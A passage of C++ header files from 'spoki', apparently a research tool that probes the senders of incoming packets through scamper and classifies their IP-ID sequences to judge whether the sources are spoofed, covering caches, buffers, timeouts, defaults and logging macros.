SPOKI_CORE_EXPORT std::string to_string(classification); 41 | 42 | SPOKI_CORE_EXPORT bool from_string(caf::string_view, classification&); 43 | 44 | SPOKI_CORE_EXPORT bool from_integer(std::underlying_type_t, 45 | classification&); 46 | 47 | // -- Serialization ------------------------------------------------------------ 48 | 49 | template 50 | bool inspect(Inspector& f, classification& x) { 51 | return caf::default_enum_inspect(f, x); 52 | } 53 | 54 | } // namespace spoki::analysis 55 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/analysis/classify.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include "spoki/analysis/classification.hpp" 16 | #include "spoki/detail/core_export.hpp" 17 | #include "spoki/task.hpp" 18 | 19 | namespace spoki::analysis { 20 | 21 | /// Calculate pair-wise distance between ipids in the vector. Takes wrap into 22 | /// account. 23 | SPOKI_CORE_EXPORT std::vector 24 | ipid_distances(const std::vector& pkts); 25 | 26 | namespace classifier { 27 | 28 | /// A trivial algorithm to assign a `classification` to the IP ids in the given 29 | /// event `ev`. 30 | SPOKI_CORE_EXPORT classification trivial(const task& ev); 31 | 32 | /// A alternative algorithm to assign a `classification` to the IP ids in the 33 | /// given event `ev`. Roughly based on the algorithm used be Midar: 34 | /// - https://www.caida.org/tools/measurement/midar/ 35 | SPOKI_CORE_EXPORT classification midarmm(const task& ev); 36 | 37 | } // namespace classifier 38 | 39 | } // namespace spoki::analysis 40 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/analysis/consistency.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include "spoki/detail/core_export.hpp" 16 | #include "spoki/packet.hpp" 17 | #include "spoki/task.hpp" 18 | 19 | namespace spoki::analysis { 20 | 21 | /// Calculate the distance from lhs to rhs, assuming rhs happened after lhs. 22 | /// The wrap for 16 bits is taken into account. 23 | SPOKI_CORE_EXPORT inline uint16_t dist(uint16_t lhs, uint16_t rhs) { 24 | uint16_t res = rhs - lhs; 25 | if (rhs < lhs) 26 | res += std::numeric_limits::max(); 27 | return res; 28 | } 29 | 30 | /// -- Only exposed for testing ------------------------------------------------ 31 | 32 | /// Calculate the velocity using the first and last entry in `dps`. 33 | SPOKI_CORE_EXPORT double velocity(const std::vector& dps); 34 | 35 | /// Calculates pair-wise velocities of the IP ids in `dps`. 36 | SPOKI_CORE_EXPORT std::vector 37 | velocities(const std::vector& dps); 38 | 39 | /// Mean velocity for an array of `data_points`. 40 | SPOKI_CORE_EXPORT double mean_velocity(const std::vector& dps); 41 | 42 | /// Check if an event was classified as monotonic. 43 | /// (Does NOT perform the classification itself.) 44 | SPOKI_CORE_EXPORT bool monotonicity_test(const task& ev); 45 | 46 | /// Check if the distance between the trigger and first probe is within the 47 | /// threshold. 48 | SPOKI_CORE_EXPORT bool threshold_test(const task& ev); 49 | 50 | /// Time between the trigger arrival and the arrival of the last probe. 51 | SPOKI_CORE_EXPORT long delta_t(const task& ev); 52 | 53 | /// Estimate IP space pased in `dt` based on `velocity`. 54 | /// Shouldn't this return an uint16_t? 55 | SPOKI_CORE_EXPORT double delta_E(double velocity, long dt); 56 | 57 | /// Actual distance from trigger to last probe for event `ev`. 58 | SPOKI_CORE_EXPORT uint16_t delta_A(const task& ev); 59 | 60 | namespace consistency { 61 | 62 | /// Evaluate event `ev` and return `true` if the trigger is consistent with 63 | /// the probes, `false` otherwise. Named thesis because the algorithm is 64 | /// present in the thesis of Alessandro Puccetti, 2015. 65 | SPOKI_CORE_EXPORT bool thesis(task& ev); 66 | 67 | /// Evaluate event `ev` and return `true` if the trigger is consistent with 68 | /// the probes, `false` otherwise. Based on regression analysis and the 69 | /// prediciton interval. 70 | SPOKI_CORE_EXPORT bool regression(task& ev); 71 | 72 | } // namespace consistency 73 | } // namespace spoki::analysis 74 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/buffer.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2019 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | #include 18 | 19 | #include "spoki/detail/core_export.hpp" 20 | #include "spoki/time.hpp" 21 | 22 | namespace spoki { 23 | 24 | constexpr std::size_t kB = 1024; 25 | constexpr std::size_t MB = 1024 * kB; 26 | constexpr std::size_t GB = 1024 * MB; 27 | 28 | constexpr std::time_t secs_per_hour = 3600; 29 | 30 | // constexpr auto buffer_reserve_mem = 128 * MB; 31 | // constexpr auto buffer_send_mem = 129 * MB; 32 | constexpr auto buffer_reserve_mem = 17 * MB; 33 | constexpr auto buffer_send_mem = 16 * MB; 34 | 35 | struct SPOKI_CORE_EXPORT buffer_state { 36 | bool got_backup_buffer = false; 37 | std::vector buffer; 38 | std::vector next_buffer; 39 | size_t write_threshold = buffer_send_mem; 40 | size_t reserve_size = buffer_reserve_mem; 41 | caf::actor collector; 42 | std::time_t unix_ts; 43 | 44 | static inline const char* name = "buffer"; 45 | }; 46 | 47 | SPOKI_CORE_EXPORT caf::behavior 48 | buffer_default(caf::stateful_actor* self, caf::actor collector); 49 | 50 | SPOKI_CORE_EXPORT caf::behavior 51 | buffer(caf::stateful_actor* self, caf::actor collector, 52 | size_t reserve_size, size_t write_threshold); 53 | 54 | } // namespace spoki 55 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/cache/entry.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | #include "spoki/detail/core_export.hpp" 18 | #include "spoki/time.hpp" 19 | 20 | namespace spoki::cache { 21 | 22 | /// Data cache entry containing the timestamp of the last measurement along 23 | /// with a spoofing assumption. `true` means that the node behing the key 24 | /// address is assumed not to be spoofed while `false` only signifies that it 25 | /// its status is unknown. 26 | struct SPOKI_CORE_EXPORT entry { 27 | timestamp ts; 28 | bool consistent; 29 | }; 30 | 31 | /// Equality comparison operator for entries. 32 | SPOKI_CORE_EXPORT inline bool operator==(const entry& lhs, const entry& rhs) { 33 | return lhs.ts == rhs.ts && lhs.consistent == rhs.consistent; 34 | } 35 | 36 | /// Inequality comparison operator for entries. 37 | SPOKI_CORE_EXPORT inline bool operator!=(const entry& lhs, const entry& rhs) { 38 | return !(lhs == rhs); 39 | } 40 | 41 | /// Print entry using unix timestamp in ms. 42 | SPOKI_CORE_EXPORT std::string to_string(const entry& e); 43 | 44 | // -- Serialization ------------------------------------------------------------ 45 | 46 | template 47 | typename Inspector::result_type inspect(Inspector& f, entry& x) { 48 | return f.object(x).fields(f.field("ts", x.ts), 49 | f.field("consistent", x.consistent)); 50 | } 51 | 52 | } // namespace spoki::cache 53 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/cache/rotating_store.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | #include 18 | #include 19 | 20 | #include "spoki/detail/core_export.hpp" 21 | #include "spoki/cache/entry.hpp" 22 | #include "spoki/hashing.hpp" 23 | #include "spoki/time.hpp" 24 | 25 | namespace spoki::cache { 26 | 27 | /// A cache to store spoofing suspicions that allows rotating out values 28 | /// subsets. 29 | class SPOKI_CORE_EXPORT rotating_store { 30 | // -- allows serialization by CAF -------------------------------------------- 31 | 32 | template 33 | friend typename Inspector::result_type inspect(Inspector& f, 34 | rotating_store& x); 35 | 36 | public: 37 | // -- member types ----------------------------------------------------------- 38 | 39 | using key_type = caf::ipv4_address; 40 | using mapped_type = entry; 41 | using internal_container_type = std::unordered_map; 42 | using value_type = internal_container_type::value_type; 43 | using size_type = internal_container_type::size_type; 44 | 45 | // -- constructors and assignment operators ---------------------------------- 46 | rotating_store(); 47 | rotating_store(rotating_store&&) = default; 48 | rotating_store(const rotating_store&) = default; 49 | 50 | rotating_store& operator=(rotating_store&&) = default; 51 | rotating_store& operator=(const rotating_store&) = default; 52 | 53 | /// Insert an entry `e` under key `addr`. 54 | void insert(const key_type& addr, const mapped_type& e); 55 | 56 | /// Returns `true` if the cache contains an entry for key `addr`. 57 | bool contains(const key_type& addr) const; 58 | 59 | /// Read-only access to cache entries. Insertions and updates should be 60 | /// performed via `update`. 61 | const mapped_type& operator[](const key_type& addr) const; 62 | 63 | /// Returns the number of entries in the cache. 64 | size_type size() const; 65 | 66 | /// Rotate stored data. Drops the all subsets beyond the `max` newest ones. 67 | void rotate(size_t max = 4); 68 | 69 | private: 70 | std::vector data_; 71 | 72 | /// Default entry for operator[] if no value is found in the store. 73 | entry default_; 74 | }; 75 | 76 | /// Enable serialization by CAF. 77 | template 78 | typename Inspector::result_type inspect(Inspector& f, rotating_store& x) { 79 | return f.object(x).fields(f.field("data", x.data_)); 80 | } 81 | 82 | } // namespace spoki::cache 83 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/cache/shard.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | #include "spoki/detail/core_export.hpp" 18 | #include "spoki/packet.hpp" 19 | 20 | #include "spoki/net/endpoint.hpp" 21 | 22 | namespace spoki::cache { 23 | 24 | /// State for the shard actor which holds a cache to perform looks and trigger 25 | /// probes if the cached data is not available. 26 | struct SPOKI_CORE_EXPORT shard_state { 27 | // -- constructor and destructor --------------------------------------------- 28 | 29 | shard_state(caf::event_based_actor* self); 30 | 31 | ~shard_state(); 32 | 33 | // -- member functions ------------------------------------------------------- 34 | 35 | /// Get the tag for the next request. 36 | uint32_t next_id(); 37 | 38 | /// Process a single packet. 39 | void handle_packet(const packet& pkt); 40 | 41 | // -- state ------------------------------------------------------------------ 42 | 43 | /// Actor that collects the results and writes them to disk. 44 | caf::actor result_handler; 45 | caf::actor tcp_collector; 46 | caf::actor icmp_collector; 47 | caf::actor udp_collector; 48 | 49 | /// Associated prober for probing targets with scamper. 50 | caf::actor tcp_prober; 51 | caf::actor icmp_prober; 52 | caf::actor udp_prober; 53 | 54 | /// Disable some probing types. 55 | bool enable_icmp; 56 | bool enable_tcp; 57 | bool enable_udp; 58 | 59 | /// Reset cache. 60 | std::unordered_set rst_scheduled; 61 | 62 | /// Add tags to request to match them to scamper's replies. 63 | uint32_t shard_id; // Only use the upper 8 bit! 64 | uint32_t tag_cnt; // Only use the lower 24 bit! 65 | 66 | /// Name that appears in logs, etc. 67 | static const char* name; 68 | 69 | /// Pointer to the actor that holds this state. 70 | caf::event_based_actor* self; 71 | }; 72 | 73 | SPOKI_CORE_EXPORT caf::behavior 74 | shard(caf::stateful_actor* self, caf::actor tcp_prober, 75 | caf::actor icmp_prober, caf::actor udp_prober); 76 | 77 | } // namespace spoki::cache 78 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/cache/store.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | #include 18 | #include 19 | 20 | #include "spoki/cache/entry.hpp" 21 | #include "spoki/detail/core_export.hpp" 22 | #include "spoki/hashing.hpp" 23 | #include "spoki/time.hpp" 24 | 25 | namespace spoki { 26 | namespace cache { 27 | 28 | /// A cache to store probing results. Each address is store with the time stamp 29 | /// of the most recent probe time and a bool that tags if we believe the host to 30 | /// be genuine (`true`) of spoofed (`false`). 31 | class SPOKI_CORE_EXPORT store { 32 | // -- allow serialization by CAF --------------------------------------------- 33 | 34 | template 35 | friend typename Inspector::result_type inspect(Inspector& f, store& x); 36 | 37 | public: 38 | // -- member types ----------------------------------------------------------- 39 | 40 | using key_type = caf::ipv4_address; 41 | using mapped_type = entry; 42 | using internal_container_type = std::unordered_map; 43 | using value_type = internal_container_type::value_type; 44 | using size_type = internal_container_type::size_type; 45 | 46 | // -- constructors and assignment operators ---------------------------------- 47 | 48 | store() = default; 49 | store(store&&) = default; 50 | store(const store&) = default; 51 | 52 | store& operator=(store&&) = default; 53 | store& operator=(const store&) = default; 54 | 55 | // -- member access ---------------------------------------------------------- 56 | 57 | /// Merge `other` cache into this one. 58 | void merge(const store& other); 59 | 60 | /// Merge an entry into this cache using the key `addr`. In case an entry with 61 | /// the same key exists, the conflict is resolved based on the timestamp in 62 | /// the added entry. Newer entries persist. In case of equal timestamps the 63 | /// associated bools will be combined with a logic 'and'. 64 | void merge(const key_type& addr, const mapped_type& e); 65 | 66 | /// Returns `true` if the cache contains an entry for `addr`. 67 | bool contains(const key_type& addr) const; 68 | 69 | /// Read-only access to cache entries. Insertions and updates should be 70 | /// performed via `merge`. 71 | const mapped_type& operator[](const key_type& addr) const; 72 | 73 | // -- other member functions ------------------------------------------------- 74 | 75 | /// Returns the number of entries in the cache. 76 | inline size_type size() const { 77 | return data_.size(); 78 | } 79 | 80 | /// Remove all elements satisfying `pred`. 81 | template 82 | void remove_if(Pred pred) { 83 | for (auto it = data_.begin(); it != data_.end();) { 84 | if (pred(*it)) 85 | it = data_.erase(it); 86 | else 87 | ++it; 88 | } 89 | } 90 | 91 | private: 92 | /// Initialize cache with a copy of data. 93 | store(const internal_container_type& data); 94 | 95 | /// Actual store data. 96 | internal_container_type data_; 97 | 98 | /// Default entry for operator[]. 99 | static const entry default_; 100 | }; 101 | 102 | /// Enable serialization by CAF. 103 | template 104 | typename Inspector::result_type inspect(Inspector& f, store& x) { 105 | return f.object(x).fields(f.field("data", x.data_)); 106 | } 107 | 108 | } // namespace cache 109 | } // namespace spoki 110 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/cache/timeout.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | #include "caf/ipv4_address.hpp" 18 | #include "caf/variant.hpp" 19 | 20 | #include "spoki/detail/core_export.hpp" 21 | #include "spoki/hashing.hpp" 22 | #include "spoki/net/protocol.hpp" 23 | #include "spoki/packet.hpp" 24 | 25 | namespace spoki::cache { 26 | 27 | struct tcp_timeout { 28 | caf::ipv4_address addr; 29 | }; 30 | 31 | struct icmp_timeout { 32 | caf::ipv4_address addr; 33 | }; 34 | 35 | struct udp_timeout { 36 | caf::ipv4_address addr; 37 | }; 38 | 39 | using timeout = caf::variant; 40 | 41 | // -- factory ------------------------------------------------------------------ 42 | 43 | timeout make_timeout(const packet& pkt); 44 | 45 | // -- comparison --------------------------------------------------------------- 46 | 47 | /// Equality comparison operator for tcp timeouts. 48 | inline bool operator==(const tcp_timeout& lhs, const tcp_timeout& rhs) { 49 | return lhs.addr == rhs.addr; 50 | } 51 | 52 | /// Equality comparison operator for icmp timeouts. 53 | inline bool operator==(const icmp_timeout& lhs, const icmp_timeout& rhs) { 54 | return lhs.addr == rhs.addr; 55 | } 56 | 57 | /// Equality comparison operator for udp timeouts. 58 | inline bool operator==(const udp_timeout& lhs, const udp_timeout& rhs) { 59 | return lhs.addr == rhs.addr; 60 | } 61 | 62 | 63 | // -- serialization ------------------------------------------------------------ 64 | 65 | template 66 | typename Inspector::result_type inspect(Inspector& f, tcp_timeout& x) { 67 | return f.object(x).fields(f.field("addr", x.addr)); 68 | } 69 | 70 | template 71 | typename Inspector::result_type inspect(Inspector& f, udp_timeout& x) { 72 | return f.object(x).fields(f.field("addr", x.addr)); 73 | } 74 | 75 | template 76 | typename Inspector::result_type inspect(Inspector& f, icmp_timeout& x) { 77 | return f.object(x).fields(f.field("addr", x.addr)); 78 | } 79 | 80 | // -- hashing ------------------------------------------------------------------ 81 | 82 | struct timeout_hash_visitor { 83 | template 84 | size_t operator()(const T& x) const noexcept { 85 | std::hash h; 86 | return h(x); 87 | } 88 | }; 89 | 90 | } // namespace spoki::cache 91 | 92 | namespace std { 93 | 94 | template <> 95 | struct hash { 96 | size_t operator()(const spoki::cache::tcp_timeout& t) const noexcept { 97 | std::hash h; 98 | return h(t.addr); 99 | } 100 | }; 101 | 102 | template <> 103 | struct hash { 104 | size_t operator()(const spoki::cache::icmp_timeout& t) const noexcept { 105 | std::hash h; 106 | return h(t.addr); 107 | } 108 | }; 109 | 110 | template <> 111 | struct hash { 112 | size_t operator()(const spoki::cache::udp_timeout& t) const noexcept { 113 | std::hash h; 114 | return h(t.addr); 115 | } 116 | }; 117 | 118 | template <> 119 | struct hash { 120 | size_t operator()(const spoki::cache::timeout& t) const noexcept { 121 | return caf::visit(spoki::cache::timeout_hash_visitor(), t); 122 | } 123 | }; 124 | 125 | } // namespace std 126 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/crc.hpp: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * Functions and types for CRC checks. 4 | * 5 | * Generated on Tue Nov 20 11:21:51 2018 6 | * by pycrc v0.9.1, https://pycrc.org 7 | * using the configuration: 8 | * - Width = 32 9 | * - Poly = 0x1edc6f41 10 | * - XorIn = 0xffffffff 11 | * - ReflectIn = True 12 | * - XorOut = 0xffffffff 13 | * - ReflectOut = True 14 | * - Algorithm = table-driven 15 | * 16 | * This file defines the functions crc_init(), crc_update() and crc_finalize(). 17 | * 18 | * The crc_init() function returns the inital \c crc value and must be called 19 | * before the first call to crc_update(). 20 | * Similarly, the crc_finalize() function must be called after the last call 21 | * to crc_update(), before the \c crc is being used. 22 | * is being used. 23 | * 24 | * The crc_update() function can be called any number of times (including zero 25 | * times) in between the crc_init() and crc_finalize() calls. 26 | * 27 | * This pseudo-code shows an example usage of the API: 28 | * @code{.c} 29 | * crc_t crc; 30 | * unsigned char data[MAX_DATA_LEN]; 31 | * size_t data_len; 32 | * 33 | * crc = crc_init(); 34 | * while ((data_len = read_data(data, MAX_DATA_LEN)) > 0) { 35 | * crc = crc_update(crc, data, data_len); 36 | * } 37 | * crc = crc_finalize(crc); 38 | * @endcode 39 | */ 40 | 41 | #pragma once 42 | 43 | #include 44 | #include 45 | 46 | #include "spoki/detail/core_export.hpp" 47 | 48 | namespace spoki { 49 | 50 | /// The definition of the used algorithm. 51 | /// 52 | /// This is not used anywhere in the generated code, but it may be used by the 53 | /// application code to call algorithm-specific code, if desired. 54 | #define CRC_ALGO_TABLE_DRIVEN 1 55 | 56 | /// The type of the CRC values. This type must be big enough to contain at least 57 | /// 32 bits. 58 | using crc_t = uint_fast32_t; 59 | 60 | /// Calculate the initial crc value. 61 | /// @return The initial crc value. 62 | inline crc_t crc_init() { 63 | return 0xffffffff; 64 | } 65 | 66 | /// Update the crc value with new data. 67 | /// @param[in] crc The current crc value. 68 | /// @param[in] data Pointer to a buffer of \a data_len bytes. 69 | /// @param[in] data_len Number of bytes in the \a data buffer. 70 | /// @return The updated crc value. 71 | SPOKI_CORE_EXPORT crc_t crc_update(crc_t crc, const void* data, 72 | size_t data_len); 73 | 74 | /// Calculate the final crc value. 75 | /// @param[in] crc The current crc value. 76 | /// @return The final crc value. 77 | inline crc_t crc_finalize(crc_t crc) { 78 | return crc ^ 0xffffffff; 79 | } 80 | 81 | } // namespace spoki 82 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/defaults.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * All rights reserved. 7 | * 8 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 9 | * 10 | */ 11 | 12 | #pragma once 13 | 14 | #include "time.hpp" 15 | 16 | namespace spoki::defaults { 17 | 18 | // Headers for CSV files. 19 | constexpr auto raw_csv_header = std::string_view{ 20 | "ts|saddr|daddr|ipid|ttl|proto|sport|dport|anum|snum|options|payload|syn|" 21 | "ack|rst|fin|window size|probed|method|userid|probe anum|probe snum|num " 22 | "probes\n"}; 23 | constexpr auto scamper_csv_header = std::string_view{ 24 | "start sec|start usec|method|userid|num probes|saddr|daddr|sport|dport\n"}; 25 | constexpr auto trace_csv_header 26 | = std::string_view{"ts|accepted|filtered|captured|errors|dropped|missing\n"}; 27 | 28 | namespace cache { 29 | 30 | // Timeing to clean up our cache. 31 | constexpr auto cache_cleanup_interval = std::chrono::minutes(5); 32 | constexpr auto cache_cleanup_timeout = std::chrono::minutes(60); 33 | 34 | // Chance to retain an entry instead of removing it, one in ... 35 | constexpr auto removal_chance = int{4}; 36 | constexpr auto removal_bottom = int{1}; 37 | 38 | // Interval for port generation: https://en.wikipedia.org/wiki/Ephemeral_port 39 | constexpr auto port_top = std::numeric_limits::max(); 40 | constexpr auto port_bottom = uint16_t{49152}; 41 | 42 | // Number of probes for protocols. 43 | constexpr auto num_tcp_probes = uint8_t{1}; 44 | constexpr auto num_tcp_rst_probes = uint8_t{2}; 45 | constexpr auto num_udp_probes = uint8_t{5}; 46 | constexpr auto num_icmp_probes = uint8_t{5}; 47 | 48 | // Reply evaluation constants, make this configureable. 49 | constexpr auto expected_probe_replies = size_t{4}; 50 | constexpr auto reply_timeout = std::chrono::seconds{20}; 51 | 52 | // Delay before sending a TCP reset. 53 | constexpr auto reset_delay = std::chrono::seconds{5}; 54 | 55 | } // namespace cache 56 | 57 | } // namespace spoki::defaults 58 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/fwd.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | #include 18 | 19 | #include "spoki/detail/core_export.hpp" 20 | 21 | namespace spoki { 22 | 23 | // -- templates ---------------------------------------------------------------- 24 | 25 | template 26 | struct hash; 27 | 28 | template , 29 | class Key = typename Hash::result_type, 30 | class Compare = std::less, 31 | class Allocator = std::allocator>> 32 | class consistent_hash_map; 33 | 34 | // -- enumerations ------------------------------------------------------------- 35 | 36 | /// Forward declaration. 37 | enum class operation; 38 | 39 | // -- classes ------------------------------------------------------------------ 40 | 41 | // -- structs ------------------------------------------------------------------ 42 | 43 | struct asc; 44 | struct out_file; 45 | struct collector_state; 46 | struct packet; 47 | struct target_key; 48 | struct task; 49 | 50 | // -- aliases ------------------------------------------------------------------ 51 | 52 | // using timestamp = caf::timestamp; 53 | // using timespan = caf::timespan; 54 | 55 | // -- analysis classes --------------------------------------------------------- 56 | 57 | namespace analysis { 58 | 59 | enum class classification : uint8_t; 60 | 61 | } // namespace analysis 62 | 63 | // -- cache classes ------------------------------------------------------------ 64 | 65 | namespace cache { 66 | 67 | struct entry; 68 | struct icmp_timeout; 69 | struct shard_state; 70 | struct tcp_timeout; 71 | struct udp_timeout; 72 | 73 | class rotating_store; 74 | class store; 75 | 76 | using timeout = caf::variant; 77 | 78 | } // namespace cache 79 | 80 | // -- net classes -------------------------------------------------------------- 81 | 82 | namespace net { 83 | 84 | struct endpoint; 85 | struct icmp; 86 | struct five_tuple; 87 | struct tcp; 88 | struct udp; 89 | struct udp_hdr; 90 | 91 | enum class icmp_type : uint8_t; 92 | enum class protocol : uint8_t; 93 | enum class tcp_opt : uint8_t; 94 | 95 | } // namespace net 96 | 97 | // -- probe classes ------------------------------------------------------------ 98 | 99 | namespace probe { 100 | 101 | struct request; 102 | struct udp_request; 103 | 104 | class udp_prober; 105 | 106 | enum class method : uint8_t; 107 | 108 | } // namespace probe 109 | 110 | // -- scamper classses --------------------------------------------------------- 111 | 112 | namespace scamper { 113 | 114 | struct broker_state; 115 | struct instance; 116 | struct reply; 117 | struct statistics; 118 | struct timepoint; 119 | 120 | class async_decoder; 121 | 122 | enum class ec : uint8_t; 123 | 124 | } // namespace scamper 125 | 126 | // -- trace classses ----------------------------------------------------------- 127 | 128 | namespace trace { 129 | 130 | struct global; 131 | struct local; 132 | struct reader_state; 133 | struct result; 134 | struct tally; 135 | 136 | class instance; 137 | 138 | } // namespace trace 139 | 140 | } // namespace spoki 141 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/logger.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | // TODO: I think I need Cmake to create a config file to get the defines right 16 | // and so on, with CAF currently chageing its log level implementation, 17 | // and me using CAF versions, i don't want to spent to much time on that 18 | // ... so ... no logging for now. 19 | 20 | #include 21 | 22 | #include "spoki/config.hpp" 23 | 24 | #define CS_LOG_COMPONENT "caf-spoki" 25 | #define CS_LOG_IMPL(lvl, msg) CAF_LOG_IMPL(CS_LOG_COMPONENT, lvl, msg) 26 | 27 | #if CS_LOG_LEVEL == CAF_LOG_LEVEL_QUIET || CS_LOG_LEVEL < CAF_LOG_LEVEL_TRACE 28 | # define CS_LOG_TRACE(_) CAF_VOID_STMT 29 | #else 30 | # define CS_LOG_TRACE(output) \ 31 | CAF_LOG_IMPL(CAF_LOG_COMPONENT, CAF_LOG_LEVEL_TRACE, "ENTRY" << output); \ 32 | auto CAF_UNIFYN(caf_log_trace_guard_) = ::caf::detail::make_scope_guard( \ 33 | [=] { CAF_LOG_IMPL(CAF_LOG_COMPONENT, CAF_LOG_LEVEL_TRACE, "EXIT"); }) 34 | #endif // CAF_LOG_LEVEL_TRACE 35 | 36 | #if CS_LOG_LEVEL < CAF_LOG_LEVEL_INFO 37 | # define CS_LOG_INFO(_) CAF_VOID_STMT 38 | #else 39 | # define CS_LOG_INFO(output) \ 40 | CAF_LOG_IMPL(CS_LOG_COMPONENT, CAF_LOG_LEVEL_INFO, output) 41 | #endif // CAF_LOG_LEVEL_INFO 42 | 43 | #if CS_LOG_LEVEL < CAF_LOG_LEVEL_WARNING 44 | # define CS_LOG_WARNING(_) CAF_VOID_STMT 45 | #else 46 | # define CS_LOG_WARNING(output) \ 47 | CAF_LOG_IMPL(CS_LOG_COMPONENT, CAF_LOG_LEVEL_WARNING, output) 48 | #endif // CAF_LOG_LEVEL_WARNING 49 | 50 | #if CS_LOG_LEVEL < CAF_LOG_LEVEL_DEBUG 51 | # define CS_LOG_DEBUG(_) CAF_VOID_STMT 52 | #else 53 | # define CS_LOG_DEBUG(output) \ 54 | CAF_LOG_IMPL(CS_LOG_COMPONENT, CAF_LOG_LEVEL_DEBUG, output) 55 | #endif // CAF_LOG_LEVEL_DEBUG 56 | 57 | #if CS_LOG_LEVEL < CAF_LOG_LEVEL_ERROR 58 | # define CS_LOG_ERROR(_) CAF_VOID_STMT 59 | #else 60 | # define CS_LOG_ERROR(output) \ 61 | CAF_LOG_IMPL(CS_LOG_COMPONENT, CAF_LOG_LEVEL_ERROR, output) 62 | #endif // CAF_LOG_LEVEL_ERROR 63 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/net/endpoint.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | #include 18 | 19 | #include "spoki/hashing.hpp" 20 | 21 | namespace spoki::net { 22 | 23 | struct SPOKI_CORE_EXPORT endpoint { 24 | caf::ipv4_address daddr; 25 | uint16_t dport; 26 | }; 27 | 28 | /// Equality comparison operator for target_key. 29 | SPOKI_CORE_EXPORT inline bool operator==(const endpoint& lhs, 30 | const endpoint& rhs) { 31 | return lhs.daddr == rhs.daddr && lhs.dport == rhs.dport; 32 | } 33 | 34 | /// Enable serialization by CAF. 35 | template 36 | typename Inspector::result_type inspect(Inspector& f, endpoint& x) { 37 | return f.object(x).fields(f.field("daddr", x.daddr), 38 | f.field("dport", x.dport)); 39 | } 40 | 41 | } // namespace spoki::net 42 | 43 | namespace 